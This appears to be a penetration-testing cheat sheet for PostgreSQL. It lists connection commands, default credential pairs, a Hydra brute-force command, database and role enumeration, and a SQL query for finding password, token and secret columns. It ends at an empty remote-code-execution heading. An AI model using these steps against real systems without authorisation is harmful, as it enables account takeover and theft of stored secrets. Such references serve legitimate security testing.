Connect & Basic Enum

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> <database> # Remote connection speocify port
Default credentials:
postgres : postgres
postgres : password
postgres : admin
admin : admin
admin : password

Disable pager inside psql

\\pset pager off

Bruteforce login

Hydra

hydra -L /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -P /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt <IP> <DATABASE i.e postgres>

Enumerate databases and tables

\\list # List databases
\\c <database> # use the database
\\d # List tables

Find sensitive columns

SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%password%' OR column_name LIKE '%pass%' OR column_name LIKE '%pwd%' OR column_name LIKE '%secret%' OR column_name LIKE '%token%'  OR column_name LIKE '%key%' OR column_name LIKE '%auth%';

Show content of a table

SELECT *
FROM <table_name>
LIMIT 10;

Enumerate users roles

\\du+

RCE & command execution